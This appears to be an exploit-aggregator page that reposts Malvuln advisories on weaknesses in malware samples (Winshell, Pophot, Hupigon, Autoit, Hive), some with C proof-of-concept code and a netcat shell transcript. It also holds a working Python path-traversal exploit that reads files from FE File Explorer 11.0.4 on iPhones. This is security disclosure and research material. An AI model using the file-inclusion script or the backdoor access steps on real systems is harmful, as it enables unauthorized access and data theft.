Exploit Collector
Backdoor.Win32.Winshell.5_0 MVID-2022-0633 Hardcoded Credential

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Backdoor.Win32.Winshell.5_0 malware suffers from a hardcoded credential vulnerability.

SHA-256 | 201d48fd8e208d4a8f0f5fe13f6ea04030c8b92edf569417c28e11967d421e3b

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/5bc5f72d19019a2fa3b75896e82ae1e5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Winshell.5_0
Vulnerability: Weak Hardcoded Credentials
Description: The malware is UPX packed, listens on TCP port 5277 and requires authentication for remote access. However, the password "123456789" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Winshell
Type: PE
MD5: 5bc5f72d19019a2fa3b75896e82ae1e5
Vuln ID: MVID-2022-0633
Disclosure: 09/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 5277
Password:123456789

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Trojan-Spy.Win32.Pophot.bsl MVID-2022-0635 Insecure Permissions

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Trojan-Spy.Win32.Pophot.bsl malware suffers from an insecure permissions vulnerability.

SHA-256 | d84abac25b9b004380790dd21ceec9c49b73c59db79cee24d39decbe0e1623e1

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/8c0e6ec6b8ac9eb1169e63df71f24456.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Spy.Win32.Pophot.bsl
Vulnerability: Insecure Permissions
Description: The malware writes a BATCH file ".bat" to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the file dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: Pophot
Type: PE32
MD5: 8c0e6ec6b8ac9eb1169e63df71f24456
Vuln ID: MVID-2022-0635
Disclosure: 09/06/2022

Exploit/PoC:
C:\>type zhqbdf.bat

"C:\WINDOWS\system\zhqbs080722.exe" i
del %0

C:\>cacls zhqbdf.bat
C:\zhqbdf.bat BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Hupigon.aspg MVID-2022-0634 Unquoted Service Path

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Backdoor.Win32.Hupigon.aspg malware suffers from an unquoted service path vulnerability.

SHA-256 | 887752ece5bea2b15b4d32426b1e97bffee8aa1a6842c8f917087432b7ff5e71

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/121bf601275e2aed0c3a6fe7910f9826.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aspg
Vulnerability: Insecure Service Path
Description: The malware creates a service with an unquoted path. Attackers who can place an arbitrary executable named "Program.exe" under c:\ drive can potentially undermine the malware by having it run theirs instead with LocalSystem privs.
Family: Hupigon
Type: PE32
MD5: 121bf601275e2aed0c3a6fe7910f9826
Vuln ID: MVID-2022-0634
Disclosure: 09/06/2022

Exploit/PoC:
C:\dump>sc qc VServer_2007
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VServer_2007
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\Common Files\Microsoft Shared\MSInfo\R_Server.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : V_Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
FE File Explorer 11.0.4 Local File Inclusion

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FE File Explorer version 11.0.4 suffers from a local file inclusion vulnerability.

SHA-256 | 9596719bde6a381ce9f18435b2517e8ecf2d1838ab031974d2c37d361f760254

Download
# Exploit Title: FE File Explorer 11.0.4 Local File inclusion
# Date: Sep 6, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.skyjos.com/
# Software Link:
https://apps.apple.com/us/app/fe-file-explorer-file-manager/id510282524
# Version: 11.0.4
# Tested on: iPhone ios 15.6
from ftplib import FTP
import argparse

help = " FE File Explorer Local File inclusion"
parser = argparse.ArgumentParser(description=help)
parser.add_argument("--target", help="Target IP", required=True)
parser.add_argument("--file", help="File To Open eg: etc/passwd")

args = parser.parse_args()
ip = args.target
port = 2121 # Default Port
files = args.file
ftpConnection = FTP()
ftpConnection.connect(host=ip, port=port)
ftpConnection.login();

def downloadFile():

ftpConnection.cwd('/../../../../../../../../../../../../../../../../')
ftpConnection.retrbinary(f"RETR {files}", open('data.txt',
'wb').write)
ftpConnection.close()
file = open('data.txt', 'r')
print (f"[***] The contents of {files}\n")
print (file.read())

downloadFile()

Source:packetstormsecurity.com

Exploit Collector
Trojan.Win32.Autoit.fhj MVID-2022-0638 NULL DACL

https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png Trojan.Win32.Autoit.fhj malware creates two processes "xservice.exe" and a child process "xps.exe". The process creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.

SHA-256 | 9841ae12eb6bf5ae767a59bd72cbbd7fd293da629995025465c618d5121bbc7eDownload Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/d871836f77076eeed87eb0078c1911c7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Autoit.fhj
Vulnerability: Named Pipe Null DACL
Family: Autoit
Type: PE32
MD5: d871836f77076eeed87eb0078c1911c7
Vuln ID: MVID-2022-0638
Disclosure: 09/06/2022
Description: The malware creates two processes "xservice.exe" and a child process "xps.exe". The process creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.

RManFUSCallbackNotify32
RManFUSServerNotify32

\\.\Pipe\RManFUSCallbackNotify32
RW Everyone

Local low privileged users can modify the DACL to remove rights for the Everyone users group, denying access to use the pipe for further RW interprocess communications.

Exploit/PoC:
#include "windows.h"
#include "stdio.h"
#include "accctrl.h"
#include "aclapi.h"

/*
Trojan.Win32.Autoit.fhj.d871836f77076eeed87eb0078c1911c7
NamedPipe Exploit Deny Access to Everyone
By Malvuln
**/

#define VULN_TROJAN_PIPE "\\\\.\\pipe\\RManFUSCallbackNotify32"

int main(void){

HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL);
PACL pOldDACL = NULL;
PACL pNewDACL = NULL;

if (hPipe == INVALID_HANDLE_VALUE){
printf("%d", GetLastError());
return 1;
}

if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}

TRUSTEE trustee[1];
trustee[0].TrusteeForm = TRUSTEE_IS_NAME;
trustee[0].TrusteeType = TRUSTEE_IS_GROUP;
trustee[0].ptstrName = TEXT("Everyone");
trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
trustee[0].pMultipleTrustee = NULL;

EXPLICIT_ACCESS explicit_access_list[1];
ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));

explicit_access_list[0].grfAccessMode = DENY_ACCESS;
explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;
explicit_access_list[0].grfInheritance = NO_INHERITANCE;
explicit_access_list[0].Trustee = trustee[0];

if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}

if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}else{
printf("Trojan.Win32.Autoit.fhj PWNED!\n");
printf("By Malvuln\n");
}

LocalFree(pNewDACL);
LocalFree(pOldDACL);
CloseHandle(hPipe);

system("pause");

return 0;
}

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). Source:packetstormsecurity.com

Exploit Collector
Trojan-Ransom.Win32.Hive.bv MVID-2022-0636 Code Execution

https://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png
Trojan-Ransom.Win32.Hive.bv malware suffers from a code execution vulnerability.

SHA-256 | f83469a387bb85b1095ec29c4bce40b4dee2ed888fd5d49f25e84791155b9806

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/44aba241dd3f0d156c6ed82a0ab3a9e1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Ransom.Win32.Hive.bv
Vulnerability: Arbitrary Code Execution
Description: Hive Ransomware will load and execute arbitrary .EXE PE files if a third-party adversary or defender uses the vulnerable naming convention of "vssadmin.exe" or "wmic.exe" and the PE file is placed in the vacinity of Hive Ransomware when it is executed.
Family: Hive
Type: PE64
MD5: 44aba241dd3f0d156c6ed82a0ab3a9e1
Vuln ID: MVID-2022-0636
Disclosure: 09/06/2022
Exploit/PoC:
1) Compile to "vssadmin.exe"
2) Supplying Hive CL credentials e.g. -u <login:<password

"vssadmin.c"

#include "windows.h"
#include "tlhelp32.h"
#include "psapi.h"

//Compiled x64
//By Malvuln - 2022
//Purpose: RCE PWN Hive Ransomware
//MD5: 44aba241dd3f0d156c6ed82a0ab3a9e1
/** DISCLAIMER:
Author is NOT responsible for any damages whatsoever by using this software or improper malware
handling. By using this code you assume and accept all risk implied or otherwise.
**/

DWORD getParentPID(DWORD pid){
HANDLE h32 = NULL;
PROCESSENTRY32 pe = {0};
DWORD ppid = 0;
pe.dwSize = sizeof(PROCESSENTRY32);
h32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(h32, &pe)){
do{
if (pe.th32ProcessID == pid){
ppid = pe.th32ParentProcessID;
break;
}
} while( Process32Next(h32, &pe));
}
CloseHandle(h32);
return (ppid);
}

int main(void){
DWORD ppid = getParentPID(GetCurrentProcessId());
HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, ppid);
if (NULL != handle) {
TerminateProcess(handle, 0);
CloseHandle(handle);
MessageBox(NULL, "Not the vssadmin.exe you wanted :(\nHive Ransomware PWNED!\n\nBy Malvuln", "Code Execution PoC\n", MB_OK);
}
return 0;
}
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Hacking on Medium
How I found 3 RXSS on the Lululemon bug bounty program

https://cdn-images-1.medium.com/max/1920/1*ypRzdxcS9zs8NU3X7sf3MQ.png
Hi everybody, today i will show you how can simple technique lead you to find multiple series vulnerabilities across the whole subdomains

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Hacking on Medium
HACKTHEBOX (HTB) WRITEUP: VESSEL [HARD]

SUMMARY POEM

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